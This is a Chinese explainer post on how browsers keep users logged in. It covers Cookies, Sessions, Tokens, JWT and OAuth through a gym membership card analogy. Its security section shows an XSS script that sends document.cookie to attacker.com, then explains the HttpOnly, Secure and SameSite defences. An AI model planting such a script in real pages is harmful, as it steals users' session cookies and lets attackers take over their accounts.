为什么关掉浏览器再打开,你还是登录状态?

你有没有想过一个问题:为什么关掉浏览器再打开,之前登录的网站还是登录状态?浏览器重启了,凭什么还记得你是谁?

今天,我用会员卡的故事,来讲讲Cookie和Session到底是怎么回事。


原文地址

墨渊书肆/为什么关掉浏览器再打开,你还是登录状态?


浏览器是怎么"记住"你的?

想象一下你去一家健身房。

第一次去,前台会让你填表,然后给你一张会员卡。以后每次去,你只需要出示会员卡,前台就知道你是谁了。

浏览器也是一样的道理。

你登录一个网站后,网站会给你发一张"会员卡"------这就是Cookie。下次再来,直接出示"会员卡",网站就知道你是谁了。


Cookie是什么?

Cookie就是浏览器存的一段小数据,就像一张会员卡。

当你登录成功后,服务器会给你发一张"会员卡":

http 复制代码
Set-Cookie: userId=12345; expires=Fri, 31 Dec 2026 23:59:59 GMT; path=/; HttpOnly; Secure

这句话翻译成人话就是:

  • 「这是12345号会员的卡」(userId=12345)
  • 「有效期到2026年12月31日」(expires)
  • 「在整个网站都有效」(path=/)
  • 「JavaScript无法读取」(HttpOnly)
  • 「只能用HTTPS发送」(Secure)

浏览器收到后,就会把这张"会员卡"存起来。以后你每次访问这个网站,浏览器都会自动带上这张卡:

http 复制代码
Cookie: userId=12345

服务器一看:「哦,这是12345号会员,之前来过的。」

深入了解Cookie 🔬

Cookie是HTTP协议的一部分,由Set-Cookie响应头 设置,由Cookie请求头发送。

一个标准的Cookie包含以下属性:

属性 作用 例子
name=value Cookie的名称和值 sessionId=abc123
Expires 过期时间 Expires=Wed, 01 Jan 2027 00:00:00 GMT
Max-Age 多少秒后过期 Max-Age=3600
Path 生效路径 Path=/
Domain 生效域名 Domain=example.com
Secure 仅HTTPS发送 Secure
HttpOnly JS无法读取 HttpOnly
SameSite 跨站策略 SameSite=Strict

每个浏览器都有自己的Cookie存储:

  • Chrome/Edge:SQLite数据库
  • Firefox:JSON文件
  • Safari:二进制文件

浏览器会根据Domain + Path + SameSite三个规则决定是否发送Cookie。


Session是什么?

还是健身房的例子。

你有会员卡(Cookie),但健身房还需要知道你的详细信息:姓名、电话、套餐类型、健身记录......

这些信息存在哪?健身房后台的电脑里

每次你出示会员卡,前台就在电脑里查:「12345号会员,信息如下......」

这个后台记录 ,就是Session

深入了解Session 🔬

Session是服务器端的状态管理机制。

yaml 复制代码
┌─────────────────────────────────────────────────────────────┐
│                        服务器                                │
│  ┌──────────────┐    ┌──────────────┐    ┌──────────────┐ │
│  │ Session ID   │    │ Session ID   │    │ Session ID   │ │
│  │ abc123       │    │ def456       │    │ ghi789       │ │
│  │ {user:张三}  │    │ {user:李四}  │    │ {user:王五}  │ │
│  └──────────────┘    └──────────────┘    └──────────────┘ │
└─────────────────────────────────────────────────────────────┘
         ↑
         │ sessionId=abc123 (Cookie)
         │
┌─────────────────────────────────────────────────────────────┐
│                        浏览器                                │
│  Cookie: sessionId=abc123                                   │
└─────────────────────────────────────────────────────────────┘

Session的工作流程:

yaml 复制代码
1. 客户端 → 服务器:POST /login {username, password}
2. 服务器 → 数据库:验证用户名密码
3. 服务器 → Redis/内存:创建 Session {
       sessionId: "abc123",
       userId: 12345,
       username: "张三",
       loginTime: "2026-01-01 10:00:00",
       expireTime: "2026-01-02 10:00:00"
   }
4. 服务器 → 客户端:Set-Cookie: sessionId=abc123; HttpOnly

服务端Session存储对比:

存储方式 优点 缺点
内存 重启丢失、无法分布式
Redis 快、持久、可分布式 需要额外组件
数据库 持久

为什么关掉浏览器再打开,还是登录状态?

这就涉及到Cookie的有效期了。

Cookie有两种:

类型 有效期 举例
会话Cookie 关掉浏览器就失效 网银登录(安全)
持久Cookie 到指定日期才失效 购物网站记住登录(方便)

如果没有设置expires,那就是会话Cookie------关掉浏览器,"会员卡"就失效了。

但如果设置了有效期,那这张"会员卡"可以管好几年!

深入了解Cookie有效期 🔬

会话Cookie vs 持久Cookie的区别:

http 复制代码
# 会话Cookie(没有Expires/Max-Age)
Set-Cookie: sessionId=abc123

# 持久Cookie
Set-Cookie: sessionId=abc123; Expires=Wed, 01 Jan 2027 00:00:00 GMT

换个浏览器为什么登录失效了?因为Cookie存在浏览器本地,不同浏览器有独立存储,互不相通。


Cookie有哪些问题?

Cookie虽然好用,但也有不少坑:

  1. 大小限制:一个Cookie最多4KB,存不了太多数据
  2. 明文传输:HTTP请求不加密,被人抓包就完了
  3. 会被XSS偷走:攻击者通过JavaScript就能拿到你的Cookie
  4. 不能跨域baidu.com的Cookie不会发给google.com

深入了解Cookie安全问题 🔬

为什么Cookie容易出问题?

因为Cookie是明文传输的!HTTP请求长这样:

http 复制代码
GET /profile HTTP/1.1
Host: example.com
Cookie: userId=12345; sessionId=abc123

用Wireshark等工具轻松就能看到你的Cookie。

XSS攻击是什么?

攻击者在网站评论区偷偷注入一段JavaScript代码:

javascript 复制代码
// 攻击者在网站评论区注入这段代码
<script>
  fetch('https://attacker.com?cookie=' + document.cookie);
</script>

当其他用户访问这个页面时,这段代码就会悄悄执行,把大家的Cookie发送给攻击者的服务器。

怎么防护?

给Cookie加上安全属性:

http 复制代码
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
  • HttpOnly:JavaScript无法读取,防止XSS偷Cookie
  • Secure:只能用HTTPS发送,防止抓包
  • SameSite:阻止CSRF攻击

Token:更好的方案?

正因为Cookie有这些问题,现在很多网站用Token来代替Session。

Token就像一张临时通行证

  • 你登录成功后,服务器给你发一个Token
  • 以后每次请求,带上这个Token
  • 服务器验证Token,而不是查Session

深入了解Token 🔬

Token的工作流程:

yaml 复制代码
1. 客户端 → 服务器:POST /login {username, password}
2. 服务器 → 数据库:验证用户名密码
3. 服务器:生成Token(签名)
4. 服务器 → 客户端:{token: "eyJhbGci..."}
5. 客户端 → 服务器:Authorization: Bearer eyJhbGci...
6. 服务器:验证Token签名,返回用户信息

Token vs Session 对比:

特征 Session Token
存储位置 服务器 客户端
服务器压力 存储所有Session 只验证签名
扩展性 需要Redis等中间件 无状态
跨域 受Cookie限制 任意发送

JWT:Token的一种格式 📄

JWT(JSON Web Token)是最常见的Token格式:

text 复制代码
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IuW8lOWhlSIsImlhdCI6MTcwNjU5MjAwMCwiZXhwIjoxNzM4MTI4MDAwfQ.fgJ3k9a7b2c1d8e

拆开看是三部分:

yaml 复制代码
┌────────────────────────────────────────────────────────────┐
│ Header (头部) - Base64编码                                  │
│ { "alg": "HS256", "typ": "JWT" }                          │
├────────────────────────────────────────────────────────────┤
│ Payload (载荷) - Base64编码                                 │
│ { "sub": "1234567890", "name": "张三", "exp": 1738128000 }│
├────────────────────────────────────────────────────────────┤
│ Signature (签名) - 密钥加密                                 │
│ HMACSHA256(base64UrlEncode(header) + "." + ... , "密钥")  │
└────────────────────────────────────────────────────────────┘

为什么JWT更高效? 服务器只需要验证签名,不用查询数据库


OAuth:第三方登录 🔐

你肯定见过"用微信登录""用Google登录"------这就是OAuth

OAuth让你授权别的应用访问你的信息,但不用告诉它你的密码。

深入了解OAuth 2.0 🔬

OAuth 2.0的完整流程(授权码模式):

yaml 复制代码
用户 → 第三方App → 授权服务器 → 资源服务器
   ↓        ↓           ↓            ↓
点击登录  跳转页面   返回授权码    返回Token
                            ↓
                    获取用户信息

OAuth的四种授权方式:

方式 适用场景 安全性
授权码 Web App ⭐⭐⭐⭐⭐
简化 纯前端SPA ⭐⭐⭐
密码模式 自己的产品 ⭐⭐
客户端模式 服务器对服务器 ⭐⭐⭐⭐

总结

类别 是什么 存哪 像什么
Cookie 浏览器存的小数据 浏览器 会员卡
Session 服务器存的用户档案 服务器 健身房后台档案
Token 验证身份的令牌 客户端 临时通行证
OAuth 第三方授权 - 让别人帮你开门,但不给钥匙

写在最后

现在你应该懂了:

  • Cookie = 会员卡,浏览器帮你保管
  • Session = 健身房档案,服务器帮你保管
  • Token = 临时通行证,比Cookie更灵活
  • OAuth = 授权别人访问你的信息,不用给密码
  • 关掉浏览器还是登录状态 = 你的"会员卡"还没过期

下次登录时看到「记住我」或「用微信登录」,你就知道------哦,背后原来是这么回事呢。

相关推荐
酉鬼女又兒3 小时前
零基础快速入门前端DOM 元素获取方法详解:从代码到实践(可用于备赛蓝桥杯Web应用开发)
前端·javascript·职场和发展·蓝桥杯·js
bjxiaxueliang3 小时前
一文掌握Python aiohttp:异步Web开发从入门到部署
开发语言·前端·python
Liudef063 小时前
从0到1开发ReAct智能体:原理、实现与最佳实践
前端·react.js·前端框架
金豆呀3 小时前
WPS自定义公式,相似度匹配
前端·javascript·wps
jiayong233 小时前
0基础学习VUE3 第 1 课:项目启动流程
前端·vue.js·学习
今天又在摸鱼3 小时前
学习vue前必要的js语法
前端·vue.js·学习
大家的林语冰4 小时前
TypeScript 6 官宣,JS “最后之舞“,版本升级踩雷指南
前端·javascript·typescript
英俊潇洒美少年4 小时前
react useDeferredvalue和useTransition的讲解
前端·react.js·前端框架
爱学习的程序媛4 小时前
【WebRTC】呼叫中心前端技术选型:SIP.js vs JsSIP vs Verto
前端·javascript·typescript·音视频·webrtc·实时音视频·web